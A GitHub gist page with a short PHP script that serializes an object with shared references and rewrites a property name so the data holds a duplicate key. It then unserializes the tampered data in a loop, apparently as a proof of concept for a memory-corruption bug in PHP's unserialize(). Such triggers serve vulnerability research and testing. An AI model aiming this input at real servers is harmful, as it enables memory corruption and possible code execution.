Skip to content

Instantly share code, notes, and snippets.

@tmm08a
Last active June 17, 2016 07:56
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save tmm08a/d07bfcb4eca90a6d3926 to your computer and use it in GitHub Desktop.
<?php
for ($i=4; $i<100; $i++) {
var_dump($i);
$m = new StdClass();
$u = array(1);
$m->aaa = array(1,2,&$u,4,5);
$m->bbb = 1;
$m->ccc = &$u;
$m->ddd = str_repeat("A", $i);
$z = serialize($m);
$z = str_replace("bbb", "aaa", $z);
var_dump($z);
$y = unserialize($z);
var_dump($y);
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment